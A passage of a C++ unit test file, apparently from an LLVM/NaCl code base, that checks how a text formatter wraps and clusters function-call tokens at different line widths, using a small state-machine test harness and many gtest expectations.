LookingForFunction, // Start state
StartingFcn,
// <<<f(|>)>> => BeforeFirstArg: <<<f(>|)>>
// <<<f(|><x>)>> => BeforeFirstArg: <<<f(>|<x>(>>
// <<<f(|><x,>>[<y,>]*<z>)> => BeforeFirstArg: <<<f(>|<x,>>[<y,>]*<z>)>
BeforeFirstArg,
// <<<f(>|)>> => EndFcn2: <<<f(>|)>>
// <<<f(>|<x>)>> => InFirstArg: <<<f(><|x>)>>
// <<<f(>|<x,>>[<y,>]*<z>)> => InFirstArg <<<f(><|x,>>[<y,>]*<z>)>
InFirstArg,
// <<<f(><x|>)>> => EndFcn2: <<<f(><x>|)>>
// <<<f(><x,|>>[<y,>]*<z>)> => BetweenArgs: <<<f(><x,>>[|<y,>]*<z>)>
InOtherArg,
// <<<f(><x,>>[<y,|>]*<z>)> => BetweenArgs: <<<f(><x,>>[<y,>|]*<z>)>
// == <<<f(><x,>>[|<y,>]*<z>)>
// => BetweenArgs: <<<f(><x,>>[<y,>]*|<z>)>
// <<<f(><x,>>[<y,>]*<z|>)> => EndFcn1: <<<f(><x,>>[<y,>]*<z>|)>
BetweenArgs,
// <<<f(><x,>>[|<y,>]*<z>)> => InOtherArg: <<<f(><x,>>[<|y,>]*<z>)>
// <<<f(><x,>>[<y,>]*|<z>)> => InOtherArg: <<<f(><x,>>[<y,>]*<|z>)>
EndFcn2,
// <<<f(>)|>> => EndFcn1: <<<f(>)>|>
// <<<f(><x>)|>> => EndFcn1: <<<f(><x>)>|>
EndFcn1
// <<<f(>)>|> => XXX: <<<f(>)>>|
// <<<f(><x>)>|> => XXX: <<<f(><x>)>>|
// <<<f(><x,>>[<y,>]*<z>)|> => XXX: <<<f(><x,>>[<y,>]*<z>)>|
//
// where XXX is the state popped from the parse stack.
};
public:
FormatterTester(unsigned LineWidth)
: AddOpenCloseDirectives(false),
AddClusterDirectives(false),
Buffer(),
BufStream(Buffer),
Formatter(BufStream, LineWidth, " "),
CommaText(","),
SpaceText(" "),
OpenParenText("("),
CloseParenText(")"),
NewlineText("\n"),
Comma(&Formatter, CommaText),
Space(&Formatter, SpaceText),
OpenParen(&Formatter, OpenParenText),
CloseParen(&Formatter, CloseParenText),
StartCluster(&Formatter),
FinishCluster(&Formatter),
Tokenize(&Formatter),
Endline(&Formatter)
{
Reset();
Formatter.SetContinuationIndent(Formatter.GetIndent(2));
}
/// Runs a test using the given sequence of tokens. If
/// AddOpenCloseDirectives is true, then "(" and ")" tokens
/// will change the local indent using the corresponding directives.
/// If AddClusterDirectives is true, then the clustering rules for
/// function calls will be applied.
std::string Test(const char *Tokens[], size_t NumTokens,
bool AddOpenCloseDirectives,
bool AddClusterDirectives,
unsigned Indent);
private:
/// Reset the formatter for next test.
void Reset() {
BufStream.flush();
Buffer.clear();
State = LookingForFunction;
FunctionParseStack.clear();
}
/// Collect the sequence of tokens, starting at Index, that
/// correspond to spaces, and return the number of spaces found.
unsigned CollectSpaces(size_t &Index,
const char *Tokens[],
size_t NumTokens) const {
unsigned Count = 0;
for (; Index < NumTokens; ++Index) {
std::string Token(Tokens[Index]);
if (Token != SpaceText) return Count;
++Count;
}
return Count;
}
/// Write out the given number of spaces using a space directive.
void WriteSpaces(unsigned Count) {
for (unsigned i = 0; i < Count; ++i) Formatter.Tokens() << Space;
}
/// Insert clustering directives, based on the current state of the
/// parser. CurToken is the current (non-whitespace) token being
/// processed by the parser. NextToken is the next (non-whitespace)
/// token being processed. If BeforeCurrentToken, then the parser
/// is just before CurToken. Otherwise, it is just after NextToken.
///
/// Note: When BeforeCurrentToken is false, it isn't necessarily
/// just before NextToken. This is because there may be space
/// (i.e. whitespace) tokens between CurToken and NextToken.
void InsertClusterDirectives(std::string &CurToken,
std::string &NextToken,
bool BeforeCurrentToken);
/// Write out the given token. Implicitly uses corresponding directives
/// if applicable.
void WriteToken(const std::string &Token);
// True if Open and Close directives should be used for "(" and ")" tokens.
bool AddOpenCloseDirectives;
// True if clustering directives (for functions) should be inserted.
bool AddClusterDirectives;
// The buffer the formatted text is written into.
std::string Buffer;
// The base stream of the text formatter, which dumps text into the buffer.
raw_string_ostream BufStream;
// The text formatter to use.
TextFormatter Formatter;
const std::string CommaText;
const std::string SpaceText;
const std::string OpenParenText;
const std::string CloseParenText;
const std::string NewlineText;
const TokenTextDirective Comma;
SpaceTextDirective Space;
OpenTextDirective OpenParen;
CloseTextDirective CloseParen;
StartClusteringDirective StartCluster;
FinishClusteringDirective FinishCluster;
TokenizeTextDirective Tokenize;
EndlineTextDirective Endline;
// The parse state of the function parser, used by the tester.
FormatterState State;
// The stack of parse states of the function parser. Used to handle
// nested functions.
std::vector<FormatterState> FunctionParseStack;
};
void FormatterTester::WriteToken(const std::string &Token) {
if (Token == CommaText) {
Formatter.Tokens() << Comma;
} else if (Token == SpaceText) {
Formatter.Tokens() << Space;
} else if (Token == OpenParenText) {
if (AddOpenCloseDirectives) {
Formatter.Tokens() << OpenParen;
} else {
Formatter.Tokens() << Token << Tokenize;
}
} else if (Token == CloseParenText) {
if (AddOpenCloseDirectives) {
Formatter.Tokens() << CloseParen;
} else {
Formatter.Tokens() << Token << Tokenize;
}
} else if (Token == NewlineText) {
Formatter.Tokens() << Endline;
} else {
Formatter.Tokens() << Token << Tokenize;
}
}
std::string FormatterTester::Test(const char *Tokens[],
size_t NumTokens,
bool NewAddOpenCloseDirectives,
bool NewAddClusterDirectives,
unsigned Indent) {
AddOpenCloseDirectives = NewAddOpenCloseDirectives;
AddClusterDirectives = NewAddClusterDirectives;
for (unsigned i = 0; i < Indent; ++i) Formatter.Inc();
size_t Index = 0;
unsigned SpaceCount = CollectSpaces(Index, Tokens, NumTokens);
WriteSpaces(SpaceCount);
SpaceCount = 0;
// NOTE: We would use ASSERT_LT(Index, NumTokens), but it gets
// a compile-time error if not inside the TEST macro.
EXPECT_LT(Index, NumTokens);
if (Index == NumTokens) return std::string("*W*R*O*N*G*");
// Generate token sequence defined by Tokens.
std::string CurToken(Tokens[Index++]);
while (Index < NumTokens) {
SpaceCount = CollectSpaces(Index, Tokens, NumTokens);
if (Index == NumTokens) {
WriteSpaces(SpaceCount);
SpaceCount = 0;
break;
}
std::string NextToken(Tokens[Index++]);
InsertClusterDirectives(CurToken, NextToken, true);
WriteToken(CurToken);
InsertClusterDirectives(CurToken, NextToken, false);
WriteSpaces(SpaceCount);
SpaceCount = 0;
CurToken = NextToken;
}
// When reached, all but last token (i.e. CurToken) has been written.
// Create dummy newline token, so that the last token can be written.
std::string NextToken(NewlineText);
InsertClusterDirectives(CurToken, NextToken, true);
WriteToken(CurToken);
InsertClusterDirectives(CurToken, NextToken, false);
WriteSpaces(SpaceCount);
Formatter.Tokens() << Endline;
EXPECT_TRUE(FunctionParseStack.empty())
<< "Missing close parenthesis in example";
std::string Results = BufStream.str();
Reset();
return Results;
}
void FormatterTester::InsertClusterDirectives(std::string &CurToken,
std::string &NextToken,
bool BeforeCurToken) {
if (!AddClusterDirectives) return;
switch (State) {
case LookingForFunction:
break;
case StartingFcn:
if (!BeforeCurToken && CurToken == OpenParenText) {
// context: <<<f(|>)>>
// context: <<<f(|><x>)>>
// context: <<<f(|><x,>><y,> ... <z>)>
Formatter.Tokens() << FinishCluster;
State = BeforeFirstArg;
}
break;
case BeforeFirstArg:
EXPECT_TRUE(BeforeCurToken)
<< "After open paren, but not before current token";
if (CurToken == CloseParenText) {
// <<<f(>|)>> => EndFcn2: <<<f(>|)>>
State = EndFcn2;
} else {
// <<<f(>|<x>)>> => InFirstArg: <<<f(><|x>)>>
// <<<f(>|<x,>>[<y,>]*<z>)> => InFirstArg <<<f(><|x,>>[<y,>]*<z>)>
State = InFirstArg;
Formatter.Tokens() << StartCluster;
}
break;
case InFirstArg:
if (BeforeCurToken && CurToken == CloseParenText) {
// <<<f(><x|>)>> => EndFcn2: <<<f(><x>|)>>
Formatter.Tokens() << FinishCluster;
State = EndFcn2;
} else if (!BeforeCurToken && CurToken == CommaText) {
// <<<f(><x,|>>[<y,>]*<z>)> => BetweenArgs: <<<f(><x,>>[|<y,>]*<z>)>
Formatter.Tokens() << FinishCluster << FinishCluster;
State = BetweenArgs;
}
break;
case InOtherArg:
if(BeforeCurToken && CurToken == CloseParenText) {
// <<<f(><x,>>[<y,>]*<z|>)> => EndFcn1: <<<f(><x,>>[<y,>]*<z>|)>
Formatter.Tokens() << FinishCluster;
State = EndFcn1;
} else if (!BeforeCurToken && CurToken == CommaText) {
// <<<f(><x,>>[<y,|>]*<z>)> => BetweenArgs: <<<f(><x,>>[<y,>|]*<z>)>
// => BetweenArgs: <<<f(><x,>>[<y,>]*|<z>)>
Formatter.Tokens() << FinishCluster;
State = BetweenArgs;
}
break;
case BetweenArgs:
// <<<f(><x,>>[|<y,>]*<z>)> => InOtherArg: <<<f(><x,>>[<|y,>]*<z>)>
// <<<f(><x,>>[<y,>]*|<z>)> => InOtherArg: <<<f(><x,>>[<y,>]*<|z>)>
EXPECT_TRUE(BeforeCurToken)
<< "Expecting to be before next token after comma";
Formatter.Tokens() << StartCluster;
State = InOtherArg;
break;
case EndFcn2:
// <<<f(>)|>> => EndFcn1: <<<f(>)>|>
// <<<f(><x>)|>> => EndFcn1: <<<f(><x>)>|>
EXPECT_TRUE(!BeforeCurToken && CurToken == CloseParenText)
<< "Expecting to be after close paren";
Formatter.Tokens() << FinishCluster;
// Intentionally drop to the next case.
case EndFcn1:
// <<<f(>)>|> => XXX: <<<f(>)>>|
// <<<f(><x>)>|> => XXX: <<<f(><x>)>>|
// <<<f(><x,>>[<y,>]*<z>)|> => XXX: <<<f(><x,>>[<y,>]*<z>)>|
EXPECT_TRUE(!BeforeCurToken && CurToken == CloseParenText)
<< "Expecting to be after close paren";
Formatter.Tokens() << FinishCluster;
if (FunctionParseStack.empty()) {
EXPECT_TRUE(false)
<< "No open paren for corresponding close paren";
State = LookingForFunction;
} else {
State = FunctionParseStack.back();
FunctionParseStack.pop_back();
}
break;
}
// Check if we are at the beginning of a new function.
if (BeforeCurToken && NextToken == OpenParenText) {
// context: <<<|f(>)>>
// context: <<<|f(><x>)>>
// context: <<<|f(><x,>><y,> ... <z>)>
Formatter.Tokens() << StartCluster << StartCluster << StartCluster;
FunctionParseStack.push_back(State);
State = StartingFcn;
}
}
std::string RunTest(const char *Tokens[],
size_t NumTokens,
unsigned LineWidth,
bool AddOpenCloseDirectives,
bool AddClusterDirectives,
unsigned Indent = 0) {
FormatterTester Tester(LineWidth);
return Tester.Test(Tokens, NumTokens,
AddOpenCloseDirectives,
AddClusterDirectives,
Indent);
}
// Test simple single function call.
TEST(NaClTextFormatterTest, SimpleCall) {
static const char *Tokens[] = {
"foobar", "(", "Value1", ",", " ", "Value2", "," , " ", "Value3", ")"
};
// Print out simple call that can fit on one line.
EXPECT_EQ(
"foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 30, true, true));
EXPECT_EQ(
"foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 30, true, false));
EXPECT_EQ(
"foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 30, false, true));
EXPECT_EQ(
"foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 30, false, false));
// Test case where it is one character too long (i.e ")" causes wrapping).
EXPECT_EQ(
"foobar(Value1, Value2, Value3\n"
" )\n",
RunTest(Tokens, array_lengthof(Tokens), 29, true, true));
EXPECT_EQ(
"foobar(Value1, Value2, Value3\n"
" )\n",
RunTest(Tokens, array_lengthof(Tokens), 29, true, false));
EXPECT_EQ(
"foobar(Value1, Value2, Value3\n"
" )\n",
RunTest(Tokens, array_lengthof(Tokens), 29, false, true));
EXPECT_EQ(
"foobar(Value1, Value2, Value3\n"
" )\n",
RunTest(Tokens, array_lengthof(Tokens), 29, false, false));
// Test case where line length matches the beginning of "Value3".
// Note: Only 3 indents for parenthesis directive, because we
// stop indenting when there is only 20 columns left in the line
// (i.e. 23 - 20 == 3).
EXPECT_EQ(
"foobar(Value1, Value2, \n"
" Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 23, true, true));
EXPECT_EQ(
"foobar(Value1, Value2, \n"
" Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 23, true, false));
EXPECT_EQ(
"foobar(Value1, Value2, \n"
" Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 23, false, true));
EXPECT_EQ(
"foobar(Value1, Value2, \n"
" Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 23, false, false));
// Test case where line length matches the beginning of " Value3"
// (i.e. the last test, but move the space to the next line).
// Note: Only 2 indents for parenthesis directive, because we
// stop indenting when there is only 20 columns left in the line
// (i.e. 22 - 20 == 2).
EXPECT_EQ(
"foobar(Value1, Value2,\n"
" Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 22, true, true));
EXPECT_EQ(
"foobar(Value1, Value2,\n"
" Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 22, true, false));
EXPECT_EQ(
"foobar(Value1, Value2,\n"
" Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 22, false, true));
EXPECT_EQ(
"foobar(Value1, Value2,\n"
" Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 22, false, false));
// Test case where last comma causes line wrap.
EXPECT_EQ(
"foobar(Value1, \n"
" Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 21, true, true));
EXPECT_EQ(
"foobar(Value1, Value2\n"
" , Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 21, true, false));
EXPECT_EQ(
"foobar(Value1, \n"
" Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 21, false, true));
EXPECT_EQ(
"foobar(Value1, Value2\n"
" , Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 21, false, false));
// Test case where Value2 runs over the line width.
EXPECT_EQ(
"foobar(Value1, \n"
"Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 20, true, true));
EXPECT_EQ(
"foobar(Value1, \n"
"Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 20, true, false));
EXPECT_EQ(
"foobar(Value1, \n"
"Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 20, false, true));
EXPECT_EQ(
"foobar(Value1, \n"
"Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 20, false, false));
// Run test where first comma (after value 1) causes line wrap.
EXPECT_EQ(
"foobar(\n"
"Value1, \n"
"Value2, \n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 13, true, true));
EXPECT_EQ(
"foobar(Value1\n"
", Value2, \n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 13, true, false));
EXPECT_EQ(
"foobar(\n"
"Value1, \n"
"Value2, \n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 13, false, true));
EXPECT_EQ(
"foobar(Value1\n"
", Value2, \n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 13, false, false));
// Run test where only "foobar(" can fit on a line.
EXPECT_EQ(
"foobar(\n"
"Value1,\n"
"Value2,\n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 7, true, true));
EXPECT_EQ(
"foobar(\n"
"Value1,\n"
"Value2,\n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 7, true, false));
EXPECT_EQ(
"foobar(\n"
"Value1,\n"
"Value2,\n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 7, false, true));
EXPECT_EQ(
"foobar(\n"
"Value1,\n"
"Value2,\n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 7, false, false));
// Run case where most tokens don't fit on a line.
EXPECT_EQ(
"foobar\n"
"(\n"
"Value1\n"
", \n"
"Value2\n"
", \n"
"Value3\n"
")\n",
RunTest(Tokens, array_lengthof(Tokens), 4, true, true));
EXPECT_EQ(
"foobar\n"
"(\n"
"Value1\n"
", \n"
"Value2\n"
", \n"
"Value3\n"
")\n",
RunTest(Tokens, array_lengthof(Tokens), 4, true, false));
EXPECT_EQ(
"foobar\n"
"(\n"
"Value1\n"
", \n"
"Value2\n"
", \n"
"Value3\n"
")\n",
RunTest(Tokens, array_lengthof(Tokens), 4, false, true));
EXPECT_EQ(
"foobar\n"
"(\n"
"Value1\n"
", \n"
"Value2\n"
", \n"
"Value3\n"
")\n",
RunTest(Tokens, array_lengthof(Tokens), 4, false, false));
}
// Test case where call isn't at the beginning of sequence of tokens.
TEST(NaClTextFormatterTest, TokensPlusSimpleCall) {
static const char *Tokens[] = {
"354", " ", "+", " ", "the", " ", "best", " ", "+", " ",
"foobar", "(", "Value1", ",", " ", "Value2", "," , " ", "Value3", ")"
};
// Print out where all tokens fit on one line.
EXPECT_EQ(
"354 + the best + foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 47, true, true));
EXPECT_EQ(
"354 + the best + foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 47, true, false));
EXPECT_EQ(
"354 + the best + foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 47, false, true));
EXPECT_EQ(
"354 + the best + foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 47, false, false));
// Format cases where buffer is one character too short to fit
// all tokens.
EXPECT_EQ(
"354 + the best + \n"
" foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 46, true, true));
EXPECT_EQ(
"354 + the best + foobar(Value1, Value2, Value3\n"
" )\n",
RunTest(Tokens, array_lengthof(Tokens), 46, true, false));
EXPECT_EQ(
"354 + the best + \n"
" foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 46, false, true));
EXPECT_EQ(
"354 + the best + foobar(Value1, Value2, Value3\n"
" )\n",
RunTest(Tokens, array_lengthof(Tokens), 46, false, false));
// Show case where function call just fits on continuation line.
EXPECT_EQ(
"354 + the best + \n"
" foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 34, true, true));
EXPECT_EQ(
"354 + the best + foobar(Value1, \n"
" Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 34, true, false));
EXPECT_EQ(
"354 + the best + \n"
" foobar(Value1, Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 34, false, true));
EXPECT_EQ(
"354 + the best + foobar(Value1, \n"
" Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 34, false, false));
// Show case were close parenthesis doesn't fit on continuation line.
EXPECT_EQ(
"354 + the best + \n"
" foobar(Value1, Value2, Value3\n"
" )\n",
RunTest(Tokens, array_lengthof(Tokens), 33, true, true));
EXPECT_EQ(
"354 + the best + foobar(Value1, \n"
" Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 33, true, false));
EXPECT_EQ(
"354 + the best + \n"
" foobar(Value1, Value2, Value3\n"
" )\n",
RunTest(Tokens, array_lengthof(Tokens), 33, false, true));
EXPECT_EQ(
"354 + the best + foobar(Value1, \n"
" Value2, Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 33, false, false));
// Show case where "Value1," just fits on the first continuation line.
EXPECT_EQ(
"354 + the best\n"
"+ \n"
"foobar(Value1,\n"
"Value2, Value3\n"
")\n",
RunTest(Tokens, array_lengthof(Tokens), 14, true, true));
EXPECT_EQ(
"354 + the best\n"
"+ foobar(\n"
"Value1, Value2\n"
", Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 14, true, false));
EXPECT_EQ(
"354 + the best\n"
"+ \n"
"foobar(Value1,\n"
"Value2, Value3\n"
")\n",
RunTest(Tokens, array_lengthof(Tokens), 14, false, true));
EXPECT_EQ(
"354 + the best\n"
"+ foobar(\n"
"Value1, Value2\n,"
" Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 14, false, false));
// Show case where "Value1," moves to a new line.
EXPECT_EQ(
"354 + the \n"
"best + \n"
"foobar(\n"
"Value1, \n"
"Value2, \n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 13, true, true));
EXPECT_EQ(
"354 + the \n"
"best + foobar\n"
"(Value1, \n"
"Value2, \n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 13, true, false));
EXPECT_EQ(
"354 + the \n"
"best + \n"
"foobar(\n"
"Value1, \n"
"Value2, \n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 13, false, true));
EXPECT_EQ(
"354 + the \n"
"best + foobar\n"
"(Value1, \n"
"Value2, \n"
"Value3)\n",
RunTest(Tokens, array_lengthof(Tokens), 13, false, false));
}
// Test case of nested functions.
TEST(NaClTextFormatterTest, NestedCalls) {
static const char *Tokens[] = {
"354", " ", "+", " ", "foo", "(", "g", "(", "blah", ")", ",", " ",
"h", "(", ")", " ", "+", " ", "1", ")", " ", "+", " ", "10"
};
// Run test case where all text fits on one line.
EXPECT_EQ(
"354 + foo(g(blah), h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, true));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, false));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, true));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, false));
// Run test case where all text to end of top-level function call
// fit on first line.
EXPECT_EQ(
"354 + foo(g(blah), h() + 1)\n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 27, true, true));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1)\n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 27, true, false));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1)\n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 27, false, true));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1)\n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 27, false, false));
// Run test where call to foo doesn't fit on first line.
EXPECT_EQ(
"354 + \n"
" foo(g(blah), h() + 1) \n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 26, true, true));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1\n"
" ) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 26, true, false));
EXPECT_EQ(
"354 + \n"
" foo(g(blah), h() + 1) \n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 26, false, true));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1\n"
" ) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 26, false, false));
// Run test where call to foo doesn't fit on continuation line.
EXPECT_EQ(
"354 + \n"
" foo(g(blah), h() + 1\n"
" ) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 24, true, true));
EXPECT_EQ(
"354 + foo(g(blah), h() +\n"
" 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 24, true, false));
EXPECT_EQ(
"354 + \n"
" foo(g(blah), h() + 1\n"
" ) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 24, false, true));
EXPECT_EQ(
"354 + foo(g(blah), h() +\n"
" 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 24, false, false));
// Run test where call to foo doesn't fit on continuation line.
// Note: same as above, except for loss of continuation indent,
// since we don't indent when printable space shrinks to 20.
EXPECT_EQ(
"354 + \n"
"foo(g(blah), h() + 1\n"
") + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 20, true, true));
EXPECT_EQ(
"354 + foo(g(blah), h\n"
"() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 20, true, false));
EXPECT_EQ(
"354 + \n"
"foo(g(blah), h() + 1\n"
") + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 20, false, true));
EXPECT_EQ(
"354 + foo(g(blah), h\n"
"() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 20, false, false));
// Run case where first argument of foo (i.e. g(blah)) fits
// on single continuation line.
EXPECT_EQ(
"354 + \n"
"foo(g(blah), \n"
"h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 19, true, true));
EXPECT_EQ(
"354 + foo(g(blah), \n"
"h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 19, true, false));
EXPECT_EQ(
"354 + \n"
"foo(g(blah), \n"
"h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 19, false, true));
EXPECT_EQ(
"354 + foo(g(blah), \n"
"h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 19, false, false));
// Run case where no room for call to foo and its first argument.
EXPECT_EQ(
"354 + \n"
"foo(\n"
"g(blah), \n"
"h() + 1) + \n"
"10\n",
RunTest(Tokens, array_lengthof(Tokens), 11, true, true));
EXPECT_EQ(
"354 + foo(g\n"
"(blah), h()\n"
"+ 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 11, true, false));
EXPECT_EQ(
"354 + \n"
"foo(\n"
"g(blah), \n"
"h() + 1) + \n"
"10\n",
RunTest(Tokens, array_lengthof(Tokens), 11, false, true));
EXPECT_EQ(
"354 + foo(g\n"
"(blah), h()\n"
"+ 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 11, false, false));
}
// Test example with many arguments (which can't be printed on one line).
TEST(NaClTextFormatterTest, ManyArgs) {
static const char *Tokens[] = {
"10", " ", "+", " ", "f", "(",
"g", "(", "a", ",", " ", "b", ")", ",", " ",
"abcdef", " ", "+", " ", "gh1196", " ", "+", " ", "z", "(", ")", ",", " ",
"53267", " ", "*", " ", "1234", " ", "+", " ", "567", ",", " ",
"why", "(", "is", ",", " ", "this", ",", " ", "so", ",", " ", "hard",
",", " ", "to", ",", " ", "do", ")", ",", " ",
"g", "(", "a", ",", " ", "b", ")", ",", " ",
"abcdef", " ", "+", " ", "gh1196", " ", "+", " ", "z", "(", ")", ",", " ",
"53267", " ", "*", " ", "1234", " ", "+", " ", "567", " ", "*", " ",
"somemorestuff", ")", " ", "+", " ", "1"
};
// Show layout with linewidth 70
EXPECT_EQ(
"10 + \n"
" f(g(a, b), abcdef + gh1196 + z(), 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), g(a, b), abcdef + gh1196 + z(),\n"
" 53267 * 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 70, true, true));
EXPECT_EQ(
"10 + f(g(a, b), abcdef + gh1196 + z(), 53267 * 1234 + 567, why(is, \n"
" this, so, hard, to, \n"
" do), g(a, b), abcdef\n"
" + gh1196 + z(), 53267 * 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 70, true, false));
EXPECT_EQ(
"10 + \n"
" f(g(a, b), abcdef + gh1196 + z(), 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), g(a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 70, false, true));
EXPECT_EQ(
"10 + f(g(a, b), abcdef + gh1196 + z(), 53267 * 1234 + 567, why(is, \n"
" this, so, hard, to, do), g(a, b), abcdef + gh1196 + z(), 53267 * \n"
" 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 70, false, false));
// Show layout with linewidth 60
EXPECT_EQ(
"10 + \n"
" f(g(a, b), abcdef + gh1196 + z(), 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), g(a, b), \n"
" abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 60, true, true));
EXPECT_EQ(
"10 + f(g(a, b), abcdef + gh1196 + z(), 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), g(a, b), abcdef + \n"
" gh1196 + z(), 53267 * 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 60, true, false));
EXPECT_EQ(
"10 + \n"
" f(g(a, b), abcdef + gh1196 + z(), 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), g(a, b), \n"
" abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 60, false, true));
EXPECT_EQ(
"10 + f(g(a, b), abcdef + gh1196 + z(), 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), g(a, b), abcdef + \n"
" gh1196 + z(), 53267 * 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 60, false, false));
// Show layout with linewidth 50.
EXPECT_EQ(
"10 + \n"
" f(g(a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), g(a, b), \n"
" abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 50, true, true));
EXPECT_EQ(
"10 + f(g(a, b), abcdef + gh1196 + z(), 53267 * \n"
" 1234 + 567, why(is, this, so, hard, to, do)\n"
" , g(a, b), abcdef + gh1196 + z(), 53267 * \n"
" 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 50, true, false));
EXPECT_EQ(
"10 + \n"
" f(g(a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), g(a, b), \n"
" abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 50, false, true));
